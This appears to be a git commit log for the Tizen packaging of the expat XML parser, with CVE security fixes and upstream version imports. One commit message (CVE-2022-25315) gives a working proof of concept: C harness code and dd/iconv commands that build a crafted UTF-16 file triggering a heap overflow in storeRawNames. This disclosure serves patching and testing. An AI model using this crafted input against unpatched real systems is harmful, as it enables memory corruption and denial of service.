platform/upstream/expat.git
23 months ago[CVE-2022-25314] Prevent integer overflow in copyString 82/275182/1 accepted/tizen_6.0_base accepted/tizen_6.0_base_tool tizen_6.0_base accepted/tizen/6.0/base/20230713.142825 accepted/tizen/6.0/base/tool/20220530.211643 submit/tizen_6.0_base/20220518.020107 submit/tizen_6.0_base/20220518.222031 submit/tizen_6.0_base/20220524.054823 submit/tizen_6.0_base/20220527.061925
Samanta Navarro [Tue, 15 Feb 2022 11:56:57 +0000 (11:56 +0000)]
[CVE-2022-25314] Prevent integer overflow in copyString

The copyString function is only used for encoding string supplied by
the library user.

Change-Id: Ibde587210ac056910253f1b1b3a8ffad5a85a357

23 months ago[CVE-2022-25235] security patch 79/275179/1
Sebastian Pipping [Tue, 8 Feb 2022 16:37:14 +0000 (17:37 +0100)]
[CVE-2022-25235] security patch

lib: Drop unused macro UTF8_GET_NAMING
lib: Add missing validation of encoding (CVE-2022-25235)
lib: Add comments to BT_LEAD* cases where encoding has already been validated

Change-Id: I29e52367b68d2d7d841630a43e5d86b55d96e2e5

23 months ago[CVE-2021-45960] lib: Detect and prevent troublesome left shifts in function storeAtt... 35/275135/1
Sebastian Pipping [Mon, 27 Dec 2021 19:15:02 +0000 (20:15 +0100)]
[CVE-2021-45960] lib: Detect and prevent troublesome left shifts in function storeAtts (CVE-2021-45960)

Change-Id: Ia2074e6b6ff8a17db2548cf402817aa60c551d4c

23 months ago[CVE-2022-25315] Prevent integer overflow in storeRawNames 29/275129/1
Samanta Navarro [Tue, 15 Feb 2022 11:55:46 +0000 (11:55 +0000)]
[CVE-2022-25315] Prevent integer overflow in storeRawNames

It is possible to use an integer overflow in storeRawNames for out of
boundary heap writes. Default configuration is affected. If compiled
with XML_UNICODE then the attack does not work. Compiling with
-fsanitize=address confirms the following proof of concept.

The problem can be exploited by abusing the m_buffer expansion logic.
Even though the initial size of m_buffer is a power of two, eventually
it can end up a little bit lower, thus allowing allocations very close
to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
names can be parsed which are almost INT_MAX in size.

Unfortunately (from an attacker point of view) INT_MAX/2 is also a
limitation in string pools. Having a tag name of INT_MAX/2 characters
or more is not possible.

Expat can convert between different encodings. UTF-16 documents which
contain only ASCII representable characters are twice as large as their
ASCII encoded counter-parts.

The proof of concept works by taking these three considerations into
account:

1. Move the m_buffer size slightly below a power of two by having a
   short root node <a>. This allows the m_buffer to grow very close
   to INT_MAX.
2. The string pooling forbids tag names longer than or equal to
   INT_MAX/2, so keep the attack tag name smaller than that.
3. To be able to still overflow INT_MAX even though the name is
   limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
   which only contains ASCII characters. UTF-16 always stores two
   bytes per character while the tag name is converted to using only
   one. Our attack node byte count must be a bit higher than
   2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
   in sum can overflow INT_MAX.

Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
without running into INT_MAX boundary check. The string pooling is
able to store INT_MAX/3 as tag name because the amount is below
INT_MAX/2 limitation. And creating the sum of both eventually overflows
in storeRawNames.

Proof of Concept:

1. Compile expat with -fsanitize=address.

2. Create Proof of Concept binary which iterates through input
   file 16 MB at once for better performance and easier integer
   calculations:

```
cat > poc.c << EOF
 #include <err.h>
 #include <expat.h>
 #include <stdlib.h>
 #include <stdio.h>

 #define CHUNK (16 * 1024 * 1024)
 int main(int argc, char *argv[]) {
   XML_Parser parser;
   FILE *fp;
   char *buf;
   int i;

   if (argc != 2)
     errx(1, "usage: poc file.xml");
   if ((parser = XML_ParserCreate(NULL)) == NULL)
     errx(1, "failed to create expat parser");
   if ((fp = fopen(argv[1], "r")) == NULL) {
     XML_ParserFree(parser);
     err(1, "failed to open file");
   }
   if ((buf = malloc(CHUNK)) == NULL) {
     fclose(fp);
     XML_ParserFree(parser);
     err(1, "failed to allocate buffer");
   }
   i = 0;
   while (fread(buf, CHUNK, 1, fp) == 1) {
     printf("iteration %d: XML_Parse returns %d\n", ++i,
       XML_Parse(parser, buf, CHUNK, XML_FALSE));
   }
   free(buf);
   fclose(fp);
   XML_ParserFree(parser);
   return 0;
 }
EOF
gcc -fsanitize=address -lexpat -o poc poc.c
```

3. Construct specially prepared UTF-16 XML file:

```
dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
```

4. Run proof of concept:

```
./poc poc-utf16.xml
```

Change-Id: I814c068538ee37bee414f477eb2dc13cc643e27c

23 months ago[CVE-2022-25236]lib: Protect against insertion of namesep characters into namespace... 22/275122/1
Sebastian Pipping [Sat, 12 Feb 2022 00:09:29 +0000 (01:09 +0100)]
[CVE-2022-25236]lib: Protect against insertion of namesep characters into namespace URIs

lib: Protect against malicious namespace declarations
lib: Fix (harmless) use of uninitialized memory

Change-Id: Ic1d24c7d23683b7894f8cfb2628ed7af95f2300c

4 years agoBump to expat 2.2.9 56/219256/1 accepted/tizen_6.0_base_tool_hotfix sandbox/backup/expat-2.2.9-20211111 tizen_6.0_base_hotfix accepted/tizen/6.0/base/20201029.110515 accepted/tizen/6.0/base/tool/20201029.111954 accepted/tizen/6.0/base/tool/hotfix/20201030.124756 accepted/tizen/6.0/base/tool/hotfix/20201102.085944 accepted/tizen/6.5/base/tool/20211027.115132 accepted/tizen/base/20191208.221850 submit/tizen_6.0_base/20201029.184801 submit/tizen_6.0_base_hotfix/20201030.192501 submit/tizen_6.0_base_hotfix/20201102.162701 submit/tizen_6.5_base/20211026.180901 submit/tizen_6.5_base/20211027.183101 submit/tizen_6.5_base/20211027.200601 submit/tizen_base/20191204.015139 submit/tizen_base/20201207.055733 submit/tizen_base/20201208.051231 submit/tizen_base/20201208.051733 tizen_6.0.m2_release tizen_6.5.m2_release
Hyunjee Kim [Wed, 4 Dec 2019 01:31:48 +0000 (10:31 +0900)]
Bump to expat 2.2.9

Change-Id: I7d021ad079cedc9b7997f608062810a062c211eb
Signed-off-by: Hyunjee Kim <hj0426.kim@samsung.com>
4 years agoMerge branch 'tizen_base' of ssh://review.tizen.org:29418/platform/upstream/expat... 55/219255/1
Hyunjee Kim [Wed, 4 Dec 2019 01:29:19 +0000 (10:29 +0900)]
Merge branch 'tizen_base' of ssh://review.tizen.org:29418/platform/upstream/expat into tizen_base

Change-Id: I72e0b08c3adb36d5a932785e90c5b212be8778e2
Signed-off-by: Hyunjee Kim <hj0426.kim@samsung.com>
4 years agoRebase for expat 2.2.9 54/219254/1
DongHun Kwak [Mon, 26 Nov 2018 06:14:43 +0000 (15:14 +0900)]
Rebase for expat 2.2.9

Change-Id: Iefa48ae57f7b2ae2e5fa0f9a8595583d5553136a
Signed-off-by: Hyunjee Kim <hj0426.kim@samsung.com>
4 years agoImported Upstream version 2.2.9 upstream/2.2.9
Hyunjee Kim [Wed, 4 Dec 2019 01:14:20 +0000 (10:14 +0900)]
Imported Upstream version 2.2.9

Change-Id: I4b545ba08f659e8498c67ad8fcbe99e7de52ef98
Signed-off-by: Hyunjee Kim <hj0426.kim@samsung.com>
4 years agoImported Upstream version 2.2.8
Hyunjee Kim [Wed, 4 Dec 2019 01:13:52 +0000 (10:13 +0900)]
Imported Upstream version 2.2.8

Change-Id: I85418cfc26789e98d42e484fbab9f79e855f1740
Signed-off-by: Hyunjee Kim <hj0426.kim@samsung.com>
4 years agoResolve circular dependency #2 89/218289/1 accepted/tizen/base/20191204.042014 submit/tizen_base/20191122.015144 submit/tizen_base/20191122.053102 submit/tizen_base/20191122.053355 submit/tizen_base/20191203.041756
Hyunjee Kim [Thu, 21 Nov 2019 05:42:47 +0000 (14:42 +0900)]
Resolve circular dependency #2

Change-Id: Ia56be4ecc6b1c482f8044049e47f2c1d0a63a76a
Signed-off-by: Hyunjee Kim <hj0426.kim@samsung.com>
4 years agoResolve circular dependency 62/218262/1 submit/tizen_base/20191121.050926
Hyunjee Kim [Thu, 21 Nov 2019 02:27:45 +0000 (11:27 +0900)]
Resolve circular dependency

Change-Id: I803b11179834a7cd5068e6b4f4af9ab3146f63a8
Signed-off-by: Hyunjee Kim <hj0426.kim@samsung.com>
4 years agoMerge branch 'sandbox/dh0128.kwak/expat_2.2.7' into tizen_base 28/208628/1 accepted/tizen_5.5_base accepted/tizen_5.5_base_mobile_hotfix accepted/tizen_5.5_base_wearable_hotfix tizen_5.5_base tizen_5.5_base_mobile_hotfix tizen_5.5_base_wearable_hotfix tizen_5.5_tv accepted/tizen/5.5/base/20191030.082712 accepted/tizen/5.5/base/mobile/hotfix/20201023.084706 accepted/tizen/5.5/base/wearable/hotfix/20201023.081042 accepted/tizen/base/20190704.235507 submit/tizen_5.5_base/20191030.000001 submit/tizen_5.5_base_mobile_hotfix/20201023.171501 submit/tizen_5.5_base_wearable_hotfix/20201023.155601 submit/tizen_base/20190627.014143 tizen_5.5.m2_release
DongHun Kwak [Thu, 27 Jun 2019 00:40:35 +0000 (09:40 +0900)]
Merge branch 'sandbox/dh0128.kwak/expat_2.2.7' into tizen_base

Change-Id: I522684561ace8e4d720d0a9958f3fd6c9ab8f720
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
4 years agoBump to expat 2.2.7 accepted/tizen_4.0_base accepted/tizen_5.0_base sandbox/dh0128.kwak/expat_2.2.7 tizen_3.0_base tizen_4.0_base tizen_5.0_base accepted/tizen/4.0/base/20190628.055809 accepted/tizen/5.0/base/20190701.005232 submit/tizen_3.0_base/20190627.053815 submit/tizen_4.0_base/20190627.053425 submit/tizen_5.0_base/20190627.053250
DongHun Kwak [Thu, 27 Jun 2019 00:36:37 +0000 (09:36 +0900)]
Bump to expat 2.2.7

Change-Id: I4e4b013874aeff750cba30235fb95bc8d1c6ffbe
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
4 years agoImported Upstream version 2.2.7 upstream/2.2.7
DongHun Kwak [Thu, 27 Jun 2019 00:28:19 +0000 (09:28 +0900)]
Imported Upstream version 2.2.7

Change-Id: I4b1c0ed69acf4695f01bf2a07588920bab2487c3
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
5 years agoBump to expat 2.2.6 sandbox/dh0128.kwak/expat_2.2.6 accepted/tizen/base/20181130.134802 submit/tizen_base/20181126.061749
DongHun Kwak [Mon, 26 Nov 2018 06:14:43 +0000 (15:14 +0900)]
Bump to expat 2.2.6

[Model] All
[BinType] AP
[Customer] OPEN

[Issue#] N/A
[Request] N/A
[Occurrence Version] N/A

[Problem] version upgrade
[Cause & Measure]
[Checking Method] expat unit test

[Team] Open Source Management and Setting Part
[Developer] dh0128.kwak
[Solution company] Samsung
[Change Type] N/A

Change-Id: I13f112f072ba347e57c827b340ba4de32e74c2ae
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
5 years agoImported Upstream version 2.2.6 53/193753/1 upstream/2.2.6
DongHun Kwak [Mon, 26 Nov 2018 05:29:31 +0000 (14:29 +0900)]
Imported Upstream version 2.2.6

Change-Id: I8bf03fb30c4edf6f5abad98c4bc0f2c1edd3ab1f
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
6 years agoImported Upstream version 2.2.5 82/169882/1 upstream/2.2.5
DongHun Kwak [Mon, 12 Feb 2018 04:56:26 +0000 (13:56 +0900)]
Imported Upstream version 2.2.5

Change-Id: I43c77a5fe9b587a0729a17b57c984df2b8469afd
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
6 years agoImported Upstream version 2.2.4 20/149820/1 upstream/2.2.4
DongHun Kwak [Wed, 13 Sep 2017 07:06:47 +0000 (16:06 +0900)]
Imported Upstream version 2.2.4

Change-Id: I7586c345c8d87644334e2099468648209135cc6c
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
6 years agoImported Upstream version 2.2.3 19/149819/1 upstream/2.2.3
DongHun Kwak [Wed, 13 Sep 2017 07:06:38 +0000 (16:06 +0900)]
Imported Upstream version 2.2.3

Change-Id: I17040257185cebbd053acd143bd2ed00fa6b27a9
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
6 years agoImported Upstream version 2.2.2 18/149818/1
DongHun Kwak [Wed, 13 Sep 2017 07:06:29 +0000 (16:06 +0900)]
Imported Upstream version 2.2.2

Change-Id: I181f0e23575cc2659bdffb87465300f20137c16a
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
6 years agoImported Upstream version 2.2.1 17/149817/1
DongHun Kwak [Wed, 13 Sep 2017 07:06:19 +0000 (16:06 +0900)]
Imported Upstream version 2.2.1

Change-Id: Ia08917e04f3cce89cd7bca19ae7d7e03106ba6c9
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
7 years agoImported Upstream version 2.2.0 85/88885/1 upstream/2.2.0
DongHun Kwak [Wed, 21 Sep 2016 05:09:50 +0000 (14:09 +0900)]
Imported Upstream version 2.2.0

Change-Id: Iee9db75e5afcc2251aa89282ca056dc7f358e4dd
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
7 years agoImported Upstream version 2.1.1 45/75445/1 upstream/2.1.1
DongHun Kwak [Mon, 20 Jun 2016 00:32:16 +0000 (09:32 +0900)]
Imported Upstream version 2.1.1

Change-Id: Icfd7f759d085584ada07fb7182dae2643ef97795
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
11 years agoImported Upstream version 2.1.0 upstream/2.1.0
Anas Nashif [Sun, 4 Nov 2012 23:54:57 +0000 (15:54 -0800)]
Imported Upstream version 2.1.0